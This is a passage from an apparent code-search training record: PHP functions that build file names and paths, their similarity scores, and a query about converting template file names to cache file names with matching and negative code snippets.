buildFilePath (array $directories, string $fileName) : string\n {\n $dir = !empty($directories)\n ? \"/\" . \\implode(\"/\", $directories)\n : \"\";\n\n $file = \"\" !== $fileName\n ? \"/{$fileName}\"\n : \"\";\n\n return $dir . $file;\n }", "public function buildFileName()\n {\n $twig = $this->container->get('twig');\n $globals = $twig->getGlobals();\n return $globals['fullName'].'-Resume.';\n }", "protected function getOutputFileName(string $filename)\n {\n $extension_pos = strrpos($filename, '.'); // find position of the last dot, so where the extension starts\n $thumb = substr($filename, 0, $extension_pos) . '_thumb' . substr($filename, $extension_pos);\n // let the service add a custom extension\n return $thumb . $this->generator->getOutputExtension();\n }", "protected function getFileGenerationPath()\n {\n $path = $this->getPathByOptionOrConfig('path', 'migration_target_path');\n $fileName = $this->getDatePrefix() . '_' . $this->argument('migrationName') . '.php';\n\n return \"{$path}/{$fileName}\";\n }", "function path($fileName) {\n if ($fileName[0] == '/') { return $fileName; } // if specified complete path\n $file_path = $this->module_path.'view/'.$fileName;\n $layout = Liber::conf('LAYOUT');\n if ( !empty($layout) ) {\n $context = empty($this->module)?'':$this->module.'/';\n if ( $layout[0] == '/' ) { // complete path to layout dir\n $file_path = $layout.$context.'view/'.$fileName;\n } else { // default app layout dir\n $file_path = Liber::conf('APP_PATH').'layout/'.$layout.'/'.$context.'view/'.$fileName;\n }\n\n if ( !file_exists($file_path) ) { // return original template file\n $file_path = $this->module_path.'view/'.$fileName;\n }\n }\n return $file_path;\n }", "protected function ___filename() {\n\t\treturn $this->pagefiles->path . $this->basename;\n\t}", "public function makeFilename()\n {\n return getcwd().'/package'.md5(time().uniqid()).'.zip';\n }", "public function generateFileName()\n {\n $d = new \\DateTime();\n\n return strtoupper($this->fileName).\"_\" . $d->format(\"Y-m-d\");\n }", "function _get_template_edit_filename($fullpath, $containingfolder)\n {\n }", "private function _get_path($name) {\n return './tpl/'.$name.'.tpl.php';\n }", "protected function _generateFilePath() {\n\t\treturn self::normalPaths(\n\t\t\tMage::getBaseDir(),\n\t\t\tMage::helper('pepperjam_network/config', $this->getStore())->getExportFilePath(),\n\t\t\t$this->_getFileName()\n\t\t);\n\t}", "public function buildFilepath(Smarty $smarty = null)\n {\n }", "private function formatFilename() {\n return $this->prefix . $this->name . \".\" . $this->extension;\n }", "function _get_auto_filename($auto_base, $auto_source = null, $auto_id = null) {\n $_compile_dir_sep = $this->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';\n $_return = $auto_base . DIRECTORY_SEPARATOR;\n\n if(isset($auto_id)) {\n // make auto_id safe for directory names\n $auto_id = str_replace('%7C',$_compile_dir_sep,(urlencode($auto_id)));\n // split into separate directories\n $_return .= $auto_id . $_compile_dir_sep;\n }\n\n if(isset($auto_source)) {\n // make source name safe for filename\n $_filename = urlencode(basename($auto_source));\n $_crc32 = sprintf('%08X', crc32($auto_source));\n // prepend %% to avoid name conflicts with\n // with $params['auto_id'] names\n $_crc32 = substr($_crc32, 0, 2) . $_compile_dir_sep .\n substr($_crc32, 0, 3) . $_compile_dir_sep . $_crc32;\n// XXX: Changed from $_filename to md5($_filename)\n $_return .= '%%' . $_crc32 . '%%' . md5($_filename);\n }\n return $_return;\n }", "public static function generateFileName($fileName)\n {\n return substr(md5(time()), 0, 10) . '.' . pathinfo($fileName, PATHINFO_EXTENSION);\n }", "protected function makeFilename()\n {\n return getcwd().'/october_installer_'.md5(time().uniqid()).'.zip';\n }", "public function testGenerateFilename()\n {\n // separate the directories with the DIRECTORY_SEPARATOR constant to prevent failing tests on windows\n $filename = 'directory' . DIRECTORY_SEPARATOR . 'directory2' . DIRECTORY_SEPARATOR . 'file.php';\n $this->assertEquals('directory.directory2.file.html', $this->fixture->generateFilename($filename));\n }", "function generateSubPathFolder($filename) {\n \t$photo_subpath = '';\n \t$sub_part = explode('-',$filename);\n \t\n \tif(!empty($sub_part[1])) {\n\t\t\t$photo_subpath = substr($sub_part[1], 0, 1);\n\t\t}\n \t\n \treturn (string)$photo_subpath;\n }", "private function get_real_filename( $file_url )\n {\n $path = $this->getConfig( 'content_dir' ) . $file_url . $this->getConfig( 'content_ext' );\n return realpath( $path );\n }", "function getFileFullPath($fileName) {\n\tglobal $GrunPath;\n\treturn $GrunPath.\"/\".$fileName;\n}", "public function generateUrl ($filename)\n {\n return $this->context->getController()->genUrl('@uapvHelpShowPage?file=').$filename;\n }", "function _getTemplateFullpath($file)\n {\n \t$cfg\t=& CFactory::getConfig();\n \tif(!JString::strpos($file, '.php'))\n \t{\n \t\t$filename\t= $file;\n \t\t\n \t\t// Test if template override exists in joomla's template folder\n \t\t$mainframe\t\t=& JFactory::getApplication();\n\t\t\t\n \t\t$overridePath\t= JPATH_ROOT . DS . 'templates' . DS . $mainframe->getTemplate() . DS . 'html';\n \t\t$overrideExists\t= JFolder::exists( $overridePath . DS . 'com_community' );\n\t\t\t$template\t\t= COMMUNITY_COM_PATH . DS . 'templates' . DS . $cfg->get('template') . DS . $filename . '.php';\n \n \t\t// Test override path first\n \t\tif( JFile::exists( $overridePath . DS . 'com_community' . DS . $filename . '.php') )\n \t\t{\n \t\t\t// Load the override template.\n\t\t\t\t$file\t= $overridePath . DS . 'com_community' . DS . $filename . '.php';\n\t\t\t}\n \t\telse if( JFile::exists( $template ) && !$overrideExists )\n \t\t{\n\t \t\t\t// If override fails try the template set in config\n\t\t\t\t$file\t= $template;\n \t\t}\n \t\telse\n \t\t{\n \t\t\t// We assume to use the default template\n \t\t\t$file\t= COMMUNITY_COM_PATH . DS . 'templates' . DS . 'default' . DS . $filename . '.php';\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t \t\t\t\n\t\t\t}\n \t}\n \t\n \treturn $file;\n\t}", "private function getThumbFilename() {\n\t\t$info = pathInfo( $this->filename );\n\n\t\t// add dirname as postfix (if exists)\n\t\t$postfix = '';\n\n\t\t$dirname = UniteFunctionsRev::getVal( $info, 'dirname' );\n\t\tif ( ! empty( $dirname ) ) {\n\t\t\t$postfix = str_replace( '/', '-', $dirname );\n\t\t}\n\n\t\t$ext = $info['extension'];\n\t\t$name = $info['filename'];\n\t\t$width = ceil( $this->maxWidth );\n\t\t$height = ceil( $this->maxHeight );\n\t\t$thumbFilename = $name . '_' . $width . 'x' . $height;\n\n\t\tif ( ! empty( $this->type ) ) {\n\t\t\t$thumbFilename .= '_' . $this->type; }\n\n\t\tif ( ! empty( $this->effect ) ) {\n\t\t\t$thumbFilename .= '_e' . $this->effect;\n\t\t\tif ( ! empty( $this->effect_arg1 ) ) {\n\t\t\t\t$thumbFilename .= 'x' . $this->effect_arg1;\n\t\t\t}\n\t\t}\n\n\t\t// add postfix\n\t\tif ( ! empty( $postfix ) ) {\n\t\t\t$thumbFilename .= '_' . $postfix; }\n\n\t\t$thumbFilename .= '.' . $ext;\n\n\t\treturn($thumbFilename);\n\t}", "protected function generateFilePaths()\r\n {\r\n $filename = $this->filename;\r\n\r\n $this->validateStoragePath();\r\n\r\n $path = $this->storagePath . DIRECTORY_SEPARATOR;\r\n\r\n $this->htmlPath = $path . uniqid('pdf-', true).'.html';\r\n\r\n $this->pdfPath = $path . $this->filename . '.pdf';\r\n }", "private function getFilename(string $name): string\n {\n return \\sprintf('%s/../../../var/%s.hash', __DIR__, $name);\n }", "private function _escape_filename($filename)\n {\n return str_replace('/', '', $filename);\n }", "public static function relativePath($filename = null)\n {\n $path = 'uploads/'.auth()->id();\n\n if (is_string($filename)) {\n $path .= '/'.$filename;\n }\n\n return $path;\n }", "public function getFilename()\n {\n $file = basename($this->srcPath);\n\n $ops = str_replace(array('&', ':', ';', '?', '.', ','), '-', $this->operations);\n return trim($ops . '-' . $file, './');\n }", "function template($template_filename) {\n if ( $template_filename[0] == '/' ) {\n $this->template_file = $template_filename;\n } else {\n $this->template_file = $this->module_path.'template/'.$template_filename;\n }\n }", "protected function newFilename($filename)\n {\n $ext = pathinfo($filename, PATHINFO_EXTENSION);\n $base = substr($filename, 0, -(strlen($ext) + 1));\n $i = 1;\n while (true) {\n $res = $base . '_' . $i . '.' . $ext;\n if (!file_exists($res)) {\n break;\n }\n $i++;\n }\n return $res;\n }", "protected function createPath($file)\n\t{\n\t\treturn str_replace(DIRECTORY_SEPARATOR, '/', dirname(__DIR__)) . '/' . $file;\n\t}", "public function genFilename()\n {\n $filename = $this->getAssetableType().$this->assetable_id.'_';\n $filename .= uniqid();\n if(!empty($this->getThumbnailType())) $filename .= '_'.$this->getThumbnailType();\n $filename .= '.'.$this->uploadedFile->extension;\n $this->filename = $filename;\n }", "protected function createFilename()\n {\n $extension = \\File::extension(\\Input::file('photo')->getClientOriginalName());\n $filename = $this->applicant->slug . '_' . date('U') . '.' . $extension;\n\n return \\Str::lower($filename);\n }", "public function getPathname(): string\n {\n return $this->directory->getPath().'/'.$this->filename;\n }", "protected function filename()\n {\n return 'emailtemplate_' . time();\n }", "public function getFilename($filename = null){\n\t\t$originalName = str_replace('\\\\','/',$filename);\n\t\t$pos = strrpos($originalName,'/');\n\t\treturn (false === $pos ? $originalName : substr($originalName,$pos+1));\n\t}", "function filename($file)\n{\n\tglobal $DATA_PATH;\n\t$cnt = strlen(__FILE__);\n\t$cnt -= strlen('script/main.php');\n\t$cnt += strlen($DATA_PATH);\n\treturn substr($file, $cnt);\n}", "protected function destinationFile(): string\n {\n return $this->destinationDir() . '/' . ucfirst($this->arg('name')) . '.php';\n }", "public function getFullFileName(){\n\t\t$filename = $this->modelsPath . '/' . sprintf($this->format, $this->classname) . '.php';\n\t\t\n\t\treturn $filename;\n\t}", "public function getFullPath($name);", "public static function get_template_path($template_filename) {\n\n $templates_path = plugin_dir_path(dirname(__FILE__)) . \"templates\";\n $template_path = \"$templates_path/$template_filename\";\n return $template_path;\n\n }", "function sURL($filename){\r\n\t\t$ext = pathinfo($filename, PATHINFO_EXTENSION);\r\n\t\tswitch (strtolower($ext)){\r\n\t\t\tcase 'css':\r\n\t\t\t\t$filename = 'css/'.$filename;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'js':\r\n\t\t\t\t$filename = 'js/'.$filename;\r\n\t\t\t\tbreak;\r\n\t\t\tdefault :\r\n\t\t\t\t$filename = 'images/'.$filename;\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\treturn $this->env['web_root'].'static/'.$filename;\r\n\t}", "public function generatePath($fileName, $createDir = false, $uploadRootPath = './', $level = 3)\n {\n $level = $level > 6 ? 6 : $level;\n $array = str_split(md5($fileName), 4);\n $path = '';\n $arraySliced = array_slice($array, 0, $level);\n foreach ($arraySliced as $item) {\n $path .= $item.'/';\n $createDir && !file_exists($uploadRootPath.$path) && mkdir($uploadRootPath.$path);\n }\n\n return $path;\n }", "public static function filename($file)\n {\n $info = pathinfo($file);\n $dt = static::now();\n $postfix = $dt->format(Config::get('settings.file_datetime_format'));\n if(isset($info['extension']) and !empty($info['extension']))\n {\n $filename = $info['filename'].'_'.$postfix.'.'.$info['extension'];\n } else {\n $filename = $info['filename'].'_'.$postfix;\n }\n \n return $filename;\n }", "public function getFilepath() {\n\t\treturn $this->directory.$this->fileprefix.'-'.$this->filename.'.'.static::EXTENSION;\n\t}", "protected function buildPath()\n\t{\n\t\treturn $this->getDir() . DIRECTORY_SEPARATOR . $this->getSubDir()\n\t\t\t. DIRECTORY_SEPARATOR . $this->getName();\n\t}", "protected function generateFullPathOfStubFile(string $stubRelativePath) {\n\n return __DIR__ . $stubRelativePath;\n }", "protected function makeFilePath(string $dirName, string $fileName, string $extension)\n {\n return $dirName . '/' . $fileName . '.' . $extension;\n }", "function generateFileName(){\n\t$assembledname = \"\";\n\t$chars = \"abcdefghijklmnopqrstuvwxyz1234567890\";\n\t\n\tfor($i=0;$i<20;$i++){\n\t\t$randomChar = rand(0,strlen($chars)-1);\n\t\t$assembledname .= substr($chars,$randomChar,1);\n\t}\n\n\treturn $assembledname;\n}", "public function translatePath($fileName)\n\t{\n\t\t$fileName = str_replace('\\\\', '/', $fileName);\n\n\t\t$realDir = rtrim($this->directory, '/');\n\t\t$realDir .= '/' . dirname($fileName);\n\t\t$realDir = '/' . ltrim($realDir, '/');\n\n\t\t$fileName = $realDir . '/' . basename($fileName);\n\n\t\treturn $fileName;\n\t}", "public function getFilepath() {\n\t\treturn RuntimeDirectoryManager::getDocumentRoot().$this->filename;\n\t}", "protected function makeFile($name)\n {\n if ($path = dirname($name) and $path !== '.') {\n $path = realpath($path);\n } else {\n $path = sys_get_temp_dir();\n }\n\n if ($name = basename($name)) {\n return $path . '/' . $name;\n } else {\n return tempnam($path, 'dump_');\n }\n }", "public function getFilePath($fileName)\n {\n return $this->moduleDirReader->getModuleDir(\n \\Magento\\Framework\\Module\\Dir::MODULE_ETC_DIR,\n Naming::getModuleName()\n ) . '/' . $fileName;\n }", "public function filename(): string\n {\n return Str::random(6) . '_' . $this->type . $this->fileExtension();\n }", "protected function generatePath(string $fileName, $pathToSave): string\n {\n if (!is_dir($pathToSave)) {\n mkdir($pathToSave, 0755);\n }\n return $pathToSave . $fileName . '.' . 'jpg';\n }", "public function url($filename)\r\n {\r\n // If no Theme set, return /$filename\r\n if (!$this->current()) {\r\n return \"/\" . ltrim($filename, '/');\r\n }\r\n\r\n return $this->current()->url($filename);\r\n }", "abstract public function getTemplateFile();", "function display_file($file) {\n\n return \"images\" . DS . $file;\n\n}", "static function filename2url($filename) {\n\t\t$slashPos = -1;\n\t\twhile(($slashPos = strpos($filename, \"/\", $slashPos+1)) !== false) {\n\t\t\tif(substr($filename, 0, $slashPos) == substr($_SERVER['SCRIPT_FILENAME'],0,$slashPos)) {\n\t\t\t\t$commonLength = $slashPos;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t$urlBase = substr($_SERVER['PHP_SELF'], 0, -(strlen($_SERVER['SCRIPT_FILENAME']) - $commonLength));\n\t\t$url = $urlBase . substr($filename, $commonLength);\n\t\t$protocol = $_SERVER['HTTPS'] ? \"https\" : \"http\";\n\t\treturn \"$protocol://\". $_SERVER['HTTP_HOST'] . $url;\n\n\t\t// Count the number of extra folders the script is in.\n\t\t// $prefix = str_repeat(\"../\", substr_count(substr($_SERVER[SCRIPT_FILENAME],$commonBaseLength)));\n\t}", "public function getRelativeFilename(): string\n {\n return $this->relative_filename;\n }", "public function getPath(){\n $ext = $this->getExt();\n $filename = $this->id.'.'.$ext;\n return str_replace( $filename, '', $this->filename ); \n }", "public static function randomFilename() {\n $name = self::randomString();\n return substr($name, 0, 2) . '/' . substr($name, 2, 2)\n . '/' . substr($name, 4, 2) . '/' . substr($name, 6);\n }", "protected function _makeFileName($ext) {\n if (true == $this->_encryptFileName) {\n return (uniqid() .$ext);\n }\n\n if (null != $this->_newName) {\n $name = Folder::cleanFileName($this->_newName);\n $name = str_replace($ext, '', $name);\n } else {\n $name = Folder::cleanFileName($this->_data['file_origin_name']);\n $name = str_replace($ext, '', $name);\n }\n\n if (false !== $this->_ansiName) {\n $name = preg_replace('/[^A-Za-z0-9_\\-]/', '', $name);\n }\n\n if (false !== $this->_removeSpaceName) {\n $name = preg_replace('/\\s+/', '-', $name);\n }\n\n if (true !== $this->_overwrite\n && (file_exists($this->_dir .$name .$ext))) {\n $i = 1;\n do {\n $_t = $name .'(' .$i .')';\n ++$i;\n } while (file_exists($this->_dir .$_t .$ext));\n $name = $_t;\n }\n\n return $name .$ext;\n }", "protected function generateFullPathToUploadFile()\n {\n // $this->fullPathToUploadFile = str_replace(\"/\", \"\\\\\", storage_path('app/' . $this->pathToFile));\n $this->fullPathToUploadFile = storage_path('app/' . $this->pathToFile);\n }", "public function getFullName(){\n\t\treturn $this->templateSet->getFullName() . '/' . $this->name . $this->suffix;\n\t}", "static function gen($file) {\n\n\t\t$compile = BP_Parser::compile($file);\n\n\t\t$root = BlogPad::get_templates_dir();\n\n\t\t$theme = BlogPad::get_theme_name();\n\n\t\t$template_name = 'compiled_'.basename($file).'.php';\n\n\t\tif( !is_dir($root) ) {\n\t\t\tmkdir($root);\n\t\t}\n\n\t\t// Organise each template by its theme directory.\n\t\tif( !is_dir(\"$root/$theme\") ) {\n\t\t\tmkdir(\"$root/$theme\");\n\t\t}\n\n\t\tif( !empty($compile) ) {\n\t\t\tif( !file_put_contents(\"$root/$theme/$template_name\", $compile) ) {\n\t\t\t\ttrigger_error(\"Couldn't generate template for $file.\", E_USER_NOTICE);\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}\n\n\t\t// Return the path of the compiled template so that it can be used as a pointer.\n\t\treturn \"$root/$theme/$template_name\";\n\t}", "public function getOutputName()\n {\n\n $ext_pos = strrpos($this->getName(), '.');\n if ($ext_pos === false) {\n throw new SiteBuilderException('Unexpected filename; must have file extension');\n }\n $filename = substr($this->getName(), 0, $ext_pos) . '.html';\n\n return $filename;\n }", "public function getPreparedFilename()\n {\n return $this->getPath() . $this->getSitemapFilename();\n }", "protected static function get_file_path_from_theme($file_name, $template = \\false)\n {\n }", "abstract protected function getFileName();", "static function generateFileName($file)\n {\n $file_name = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);\n return \\Str::slug(rand() . $file_name) . '.' . $file->getClientOriginalExtension();\n }", "protected function resolveTemplatePath($name)\n {\n\n return sprintf(self::TEMPLATE_FOLDER_MASK, dirname(__FILE__), $name);\n }", "protected function filename()\n {\n return 'Document_' . date('YeamdHis');\n }", "public function getFileName()\n {\n return $this->language.'/'.strtolower($this->getName());\n }", "protected function buildFileName()\n\t{\n\t\t$upscale = $this->upscale ? 'upscale' : 'noupscale';\n\t\treturn $this->namePrefix . '-' . $this->width . 'x' . $this->height . '-' . $upscale . '-' . $this->quality . '-' . $this->imageName;\n\t}", "function getTemplateFilename($t)\n{\n\treturn ARC_TEMPLATE_FS . $t . '.php';\n}", "private function generateFilename($overwrite = false)\n\t{\n\n\t\tif(strpos( $this->relative_source_path, DIRECTORY_SEPARATOR) === false)\n\t\t{\n\t\t\t$this->full_target_path = $this->target_dir . \"/\" . time() .\"_\". md5( $this->relative_source_path ) . \".jpg\";\n\n\t\t\treturn;\n\t\t}\n\n\n\t\tif($overwrite)\n {\n $this->full_target_path = self::getFullPath($this->relative_source_path);\n }\n else\n {\n $filename = pathinfo($this->relative_source_path, PATHINFO_BASENAME); //PATHINFO_FILENAME ---> must add extension below!!!!\n $this->full_target_path = $this->target_dir . \"/\" . time() . \"_\" . $filename;\n }\n\t\n\t}", "function createFilename($withLang=true) {\n if(!isset($_SESSION))\n session_start();\n $aa_CurrentLang = $_SESSION['aa_CurrentLang'];\n\n $container=$this->container;\n $key=$container->getKey();\n $table=$container->table;\n if ($this->multilang==1 and $withLang) $multilang=\"_\".$this->getLang(); else $multilang=\"\";\n $filename=$table.\"_\".$this->name.\"_\".str_replace(\"'\",\"\",str_replace(\"`\",\"\",str_replace(\"=\",\"\",trim(urldecode($key))))).$multilang;\n return $filename;\n }", "public function new_local_file_name()\n\t{\n\t\t$name = sys_get_temp_dir().'/'.str_random(32);\n\t\treturn $name;\n\t}", "public function generateProcessedFileNameWithoutExtension() {}", "function template_name($dir)\n\t{\n\t\t$tpl = XS_TPL_ANY; // can start at any position\n\t\t$tpl_null = XS_TPL_START; // can start only at zero position\n\t\t// searching for 'templates/' and removing everything before it\n\t\t$pos = strpos($dir, $tpl);\n\t\tif($pos === false)\n\t\t{\n\t\t\tif(substr($dir, 0, strlen($tpl_null)) !== $tpl_null)\n\t\t\t{\n\t\t\t\treturn '';\n\t\t\t}\n\t\t\t$str = substr($dir, strlen($tpl_null), strlen($dir));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$str = substr($dir, $pos + strlen($tpl), strlen($dir));\n\t\t}\n\t\t// searching for one more 'templates/'\n\t\t// that can happen if full path is like /home/some_dude/templates/phpbb/templates/subSilver/\n\t\t$dir = $this->template_name($str);\n\t\tif(!$dir)\n\t\t{\n\t\t\t$dir = $str;\n\t\t}\n\t\tif(strpos($str, $tpl) !== false)\n\t\t{\n\t\t\t$dir = $this->template_name($str);\n\t\t}\n\t\t// check for another subdirectory\n\t\t$pos = strpos($dir, '/');\n\t\tif($pos)\n\t\t{\n\t\t\t$dir = substr($dir, 0, $pos);\n\t\t}\n\t\treturn $dir;\n\t}" ]
[ "0.76881844", "0.75022316", "0.6728262", "0.66613835", "0.6590239", "0.65359914", "0.6524464", "0.6521808", "0.6481129", "0.63666606", "0.63388723", "0.6332445", "0.62888074", "0.6276636", "0.6276537", "0.6262368", "0.62503856", "0.6248048", "0.62304", "0.61629117", "0.60978013", "0.60941625", "0.60896814", "0.60874134", "0.6084267", "0.607281", "0.60712415", "0.6055376", "0.60351044", "0.6009625", "0.60063326", "0.5980263", "0.59750867", "0.59705424", "0.59364605", "0.5913433", "0.5895314", "0.5885903", "0.5878476", "0.58554864", "0.585455", "0.5841021", "0.58332473", "0.5821576", "0.5814973", "0.5814445", "0.58081126", "0.58040744", "0.578548", "0.57713103", "0.57342076", "0.57249975", "0.5719256", "0.5695533", "0.5695475", "0.5694289", "0.5685212", "0.5677336", "0.56688464", "0.56501675", "0.56418097", "0.5638249", "0.5626048", "0.5625119", "0.5621935", "0.56204134", "0.56198466", "0.56168973", "0.56112033", "0.5605445", "0.5604566", "0.56040126", "0.560384", "0.55914193", "0.5587342", "0.55841446", "0.55805063", "0.5576972", "0.55747265", "0.5568672", "0.55676585", "0.5566102", "0.556513", "0.5559257", "0.55539477", "0.55476797", "0.5540698", "0.55333346", "0.55272186", "0.5522932", "0.5521712", "0.55159694", "0.55130196", "0.55065036", "0.5505579", "0.5502744", "0.5495882", "0.54876244", "0.54872495", "0.54862094" ]
0.68282735
2
Converts template filename to cache filename. Returns empty string if noncachable (for tpl files outside of root dir). $file should be absolute filename
function make_filename_cache($file) { $str = str_replace($this->cache_search, $this->cache_replace, $file); if(substr($file, 0, $this->tpldir_len) !== $this->tpldir || empty($this->tpl)) { return $this->cachedir . XS_TPL_PREFIX2 . $str; } // removing not needed part $file = substr($file, $this->tpldir_len, strlen($file)); // creating filename return $this->cachedir . XS_TPL_PREFIX . str_replace($this->cache_search, $this->cache_replace, $file); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function cacheName($file){\n $hash = sha1($file);\n return \"$this->cache/$hash.php\";\n }", "protected function compileFileName($file)\n {\n return $this->kernelCacheDir . '/' . $file . '.pser';\n }", "private function getCacheFile()\n {\n if (is_null($this->cachePath) || !file_exists($this->cachePath)) {\n $this->error('Invalid Cache Path. '.$this->cachePath);\n return false;\n }\n\n $cacheKey = is_null($this->cacheKey) ? md5($this->templateFile) : $this->cacheKey;\n return($this->cachePath . $cacheKey);\n }", "public function getCacheFilename($name)\n {\n if (false === $this->cache) {\n return false;\n }\n $class = substr($this->getTemplateClass($name), strlen($this->templateClassPrefix));\n return $this->getCache().'/'.substr($class, 0, 2).'/'.substr($class, 2, 2).'/'.substr($class, 4).'.php';\n }", "private function _getCachedFile( $key ) \n\t{\n\t\t$cachefile\t= BASE_PATH .DS. '_cache' .DS. md5($key);\n\t\t\n\t\treturn $cachefile;\n\t}", "private function getFileTemplate(string $file): string\n {\n $filePath = Config::get('BaseDir') . 'lib/Command/stubs/' . $file . '.stub';\n\n if (!file_exists($filePath)) {\n Console::fatal('Missing stub file for: ' . $file . '.');\n }\n\n return file_get_contents($filePath);\n }", "function logonscreener_file_cache(&$file) {\n $directory = str_replace('\\\\', '/', rtrim(sys_get_temp_dir(), '/\\\\'));\n $filename = pathinfo($file, PATHINFO_FILENAME);\n $tmp_file = \"$directory/logonscreener $filename.jpg\";\n logonscreener_log(\"Temporary file: $tmp_file\");\n\n if (is_file($tmp_file)) {\n $file = $tmp_file;\n logonscreener_log('Cached file exists.');\n return FALSE;\n }\n\n return $tmp_file;\n}", "static public function requested_minify_filename( $config, $file ) {\n\t\t// browsercache may alter filestructure, allow it to remove its\n\t\t// uniqualizator\n\t\tif ( $config->get_boolean( 'browsercache.enabled' ) &&\n\t\t\t$config->get_boolean( 'browsercache.rewrite' ) ) {\n\t\t\tif ( preg_match( '~(.+)\\.([0-9a-z]+)(\\.[^.]+)$~', $file, $m ) )\n\t\t\t\t$file = $m[1] . $m[3];\n\t\t}\n\t\treturn $file;\n\t}", "protected static function cacheFileName(string $namespace, File $file): string\n {\n return ($namespace === '*' ? null : $namespace . DIRECTORY_SEPARATOR) . $file->localPath() . DIRECTORY_SEPARATOR . $file->filename();\n }", "function _getTemplateFullpath($file)\n {\n \t$cfg\t=& CFactory::getConfig();\n \tif(!JString::strpos($file, '.php'))\n \t{\n \t\t$filename\t= $file;\n \t\t\n \t\t// Test if template override exists in joomla's template folder\n \t\t$mainframe\t\t=& JFactory::getApplication();\n\t\t\t\n \t\t$overridePath\t= JPATH_ROOT . DS . 'templates' . DS . $mainframe->getTemplate() . DS . 'html';\n \t\t$overrideExists\t= JFolder::exists( $overridePath . DS . 'com_community' );\n\t\t\t$template\t\t= COMMUNITY_COM_PATH . DS . 'templates' . DS . $cfg->get('template') . DS . $filename . '.php';\n \n \t\t// Test override path first\n \t\tif( JFile::exists( $overridePath . DS . 'com_community' . DS . $filename . '.php') )\n \t\t{\n \t\t\t// Load the override template.\n\t\t\t\t$file\t= $overridePath . DS . 'com_community' . DS . $filename . '.php';\n\t\t\t}\n \t\telse if( JFile::exists( $template ) && !$overrideExists )\n \t\t{\n\t \t\t\t// If override fails try the template set in config\n\t\t\t\t$file\t= $template;\n \t\t}\n \t\telse\n \t\t{\n \t\t\t// We assume to use the default template\n \t\t\t$file\t= COMMUNITY_COM_PATH . DS . 'templates' . DS . 'default' . DS . $filename . '.php';\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t \t\t\t\n\t\t\t}\n \t}\n \t\n \treturn $file;\n\t}", "private static function getCacheFileName (FilePath $tpFileName, I $templateCacheTime, B $tpInvariable = NULL) {\r\n\t\t// Make the CACHE sub-directory && set some requirements;\r\n $objTPLNoChange = $tpInvariable == NULL ? new B (FALSE) : new B (TRUE);\r\n\r\n // Make CACHE directory, based on variable ...\r\n if ($objTPLNoChange->toBoolean () == FALSE) {\r\n // Make the cache dir, based on _GET array (page);\r\n\t\t $objTPLCacheDir = new S ('dir_cache_' .\r\n\t\t $objSHA1 = sha1 (implode (_U, $_GET->toArray ())));\r\n } else {\r\n // Invariate the cache directory ...\r\n $objTPLCacheDir = new S ('dir_cache_' .\r\n $objSHA1 = sha1 ($tpFileName . $templateCacheTime));\r\n }\r\n\r\n // Get the a/b/c/d directory structure\r\n for ($i = 0; $i < strlen ($objSHA1); ++$i) {\r\n // Append the DIR ...\r\n $objTPLCacheDir->prependString ('cache_' . $objSHA1[$i] . _S);\r\n }\r\n\r\n // Make directories, recursive ...\r\n\t\tif (!is_dir (DOCUMENT_ROOT .\r\n CACHE_DIR . _S . $objTPLCacheDir)) {\r\n // Mkdir, recursive ...\r\n\t\t\tmkdir (DOCUMENT_ROOT . CACHE_DIR .\r\n _S . $objTPLCacheDir, 0777, TRUE);\r\n\t\t}\r\n\r\n // Make the cache_fname string;\r\n if ($objTPLNoChange->toBoolean () == FALSE) {\r\n // Do return variable to _GET array;\r\n return new FilePath (CACHE_DIR . _S . $objTPLCacheDir . _S . 'cache_' .\r\n sha1 ($tpFileName . md5 ($templateCacheTime . implode (_U, $_GET->toArray ()) . self::$objTpEXECounter->doInc ())) .\r\n _U . md5 ($tpFileName . $templateCacheTime . implode (_U, $_GET->toArray ())), FALSE);\r\n } else {\r\n // Do return unvariable to _GET array (to page I mean);\r\n return new FilePath (CACHE_DIR . _S . $objTPLCacheDir . _S . 'cache_' .\r\n sha1 ($tpFileName . md5 ($templateCacheTime)) . _U .\r\n md5 ($tpFileName . $templateCacheTime), FALSE);\r\n }\r\n }", "private function get_filename() {\n \n $md5 = md5($_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n return CACHE_DIR . \"/\" . $md5;\n }", "public function getFile($file)\n\t{\n\t\t$file = str_replace(\".\", \"/\", $file);\n\n\t\tif($this->file->exists($file.\".blade.php\"))\n\t\t\treturn $file.\".blade.php\";\n\n\t\tif($this->file->exists($file.\".php\"))\n\t\t\treturn $file.\".php\";\n\n\t\treturn false;\n\n\t}", "function file_name ($url) {\n $filename = md5( $url );\n return join( DIRECTORY_SEPARATOR, array( $this->BASE_CACHE, $filename ) );\n }", "public static function getFile(){\n\t\t$file_name = base_path().\"/resources/views/DURC/durc_html.mustache\";\n\t\treturn($file_name);\n\t}", "public function display($file) {\n $tpl_file = $this->option ['templateDir'] . '/' . $file;\n if (! file_exists ( $tpl_file ))\n $this->core->err ( '102', $tpl_file );\n \n $parse_file = $this->option ['compileDir'] . '/' . sha1 ( $file ) . $file . '.php';\n \n if (! file_exists ( $parse_file ) || filemtime ( $parse_file ) < filemtime ( $tpl_file )) {\n $compile = new templatesModuleCompiler ( $this->core, $this->option, $tpl_file );\n $compile->parse ( $parse_file );\n }\n \n if ($this->option ['cache']) {\n $cache_file = $this->option ['cacheDir'] . '/' . sha1 ( $file ) . $file . '.html';\n \n // Create cache file if needed\n if (! file_exists ( $cache_file ) || filemtime ( $cache_file ) < filemtime ( $parse_file )) {\n include $parse_file;\n $content = ob_get_clean ();\n if (! file_put_contents ( $cache_file, $content ))\n $this->core->err ( '112' );\n }\n \n include $cache_file;\n } else {\n include $parse_file;\n }\n }", "protected function getCacheFile($key) {\n\t\treturn $this->cacheFolder.'/'.$this->getCachedFileName($key);\n\t}", "private function getCacheFilePath($templatePageId = NULL) {\r\n\t\tif($templatePageId === NULL) {\r\n\t\t\t$templatePageId = $this->getTemplatePageId( $this->getFrontend() );\r\n\t\t}\r\n\t\treturn $this->getCacheFolder () . 'page_' . $templatePageId . 